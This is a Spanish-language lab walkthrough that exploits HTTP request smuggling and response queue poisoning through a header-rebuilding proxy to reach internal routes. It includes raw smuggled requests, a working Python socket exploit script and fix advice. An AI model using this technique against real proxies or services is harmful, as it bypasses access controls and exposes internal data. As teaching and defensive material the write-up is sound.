Queue · laboratorio 005 · difícil
Una petición dentro de otra.
El proxy recompone las cabeceras al vuelo y manda el cuerpo en crudo por una conexión que ya estaba abierta. El backend deja de saber dónde acaba la primera petición — y ejecuta la segunda, que el proxy nunca autorizó.
En una línea. Mete un GET /internal/flag completo dentro del cuerpo de un POST /public/upload: el proxy lo reenvía sin Content-Length, el backend lo lee como la petición siguiente y su respuesta queda en cola para tu siguiente petición.
1 · El aviso del que sale la idea
En el boletín de seguridad de Node.js de julio de 2026 aparece CVE-2026-58044: «el truncado de cabeceras del parser HTTP puede permitir request smuggling». El texto describe un proxy basado en Node que reconstruye las cabeceras de salida a partir de IncomingMessage y sigue mandando el cuerpo original a una conexión reutilizada. Si el Content-Length no está en lo que el proxy ve, el backend recibe un cuerpo sin marco y lo interpreta como la petición siguiente.
Este laboratorio reproduce esa clase de fallo con el mismo patrón —proxy que recompone cabeceras, cuerpo en crudo, conexión reutilizada— sobre un backend con parser propio.
2 · Reconocimiento
curl -s http://<ip>:8080/public/info
{"service":"core","instance":"edge-01","routes":["/internal/flag"]}
curl -s http://<ip>:8080/internal/flag
{"error":"ruta interna: hace falta autenticación"} # 403
El borde solo deja /public/*. Todo lo demás exige una cabecera que no tienes. Y detrás hay un servicio que sí conoce /internal/*.
3 · Dónde está el fallo
El proxy no retransmite la petición original: la reconstruye. Copia una lista corta de cabeceras (host, user-agent, accept…) y descarta las de framing. Después escribe el cuerpo tal cual llega, sin Content-Length ni Transfer-Encoding, sobre una conexión al backend que se reutiliza entre peticiones.
Para el backend, una petición sin Content-Length tiene cuerpo de longitud cero. Así que los bytes que vienen detrás no son un cuerpo: son la petición siguiente.
4 · La petición escondida
Manda un POST público cuyo cuerpo sea una petición HTTP completa:
POST /public/upload HTTP/1.1
Host: edge
Content-Length: 43
GET /internal/flag HTTP/1.1
Host: core
El proxy pasa la primera petición (es pública), reenvía la cabecera y el cuerpo sin marco. El backend responde al POST con un 404… y acto seguido procesa el GET /internal/flag que venía «dentro».
Esa segunda respuesta ya no tiene a quién volver: el proxy la deja en cola. Se recoge con la siguiente petición normal, que recibirá la respuesta de la petición anterior:
La evidencia de usuario vive en /home/edge/flag.txt y la de root en /root/root.txt.
GET /public/info HTTP/1.1
Host: edge
# respuesta:
{"flag":"BL{...}"} ← no es la info de /public/info, es la del smuggle
Esto es la segunda mitad del fallo: response queue poisoning. Por eso el exploit hace dos conexiones: una para esconder la petición, otra para recoger la respuesta.
Script
import socket, time
IP = "<ip>"
def smuggle(target):
body = "GET %s HTTP/1.1\r\nHost: core\r\n\r\n" % target
payload = ("POST /public/upload HTTP/1.1\r\nHost: edge\r\n"
"Content-Length: %d\r\n\r\n%s" % (len(body), body)).encode()
first = socket.create_connection((IP, 8080)); first.sendall(payload)
time.sleep(0.8); first.close()
second = socket.create_connection((IP, 8080))
second.sendall(b"GET /public/info HTTP/1.1\r\nHost: edge\r\n\r\n")
time.sleep(0.8)
return second.recv(8192).decode("latin-1", "replace")
print(smuggle("/internal/flag"))
5 · La segunda evidencia
La ruta de root pide la evidencia de usuario como ticket, y como el smuggle te deja elegir la ruta entera, se la pasas en la query:
smuggle("/internal/root?ticket=BL%7B...%7D")
{"flag":"BL{...}"} # segunda evidencia
smuggle("/internal/root")
{"error":"ticket no válido"} # 403
6 · Cómo se arregla
- No reconstruyas el framing. Si reescribes la petición, decide tú el cuerpo completo: lee el cuerpo entero y emite un
Content-Lengthpropio. Nunca reenvíes bytes «sueltos» detrás de una cabecera. - Una petición, una conexión… o resincroniza. Reutilizar el socket al backend sin control estricto del framing es lo que convierte un fallo de parsing en una cola de respuestas envenenada.
- Rechaza el framing ambiguo. Si llegan
Content-LengthyTransfer-Encoding, o hay cabeceras repetidas, corta la conexión: es más barato que adivinar. - El backend no debe creerse el proxy.
coreatendía/internal/*a cualquiera que llegase por loopback. Autenticación propia y mínimo privilegio (no root) reducen el daño de un desync. - Y actualiza. El aviso de Node se corrigió en 22.23.4, 24.22.1 y 26.12.1; esta imagen corre 20.x, fuera de soporte, que es justo el escenario del laboratorio.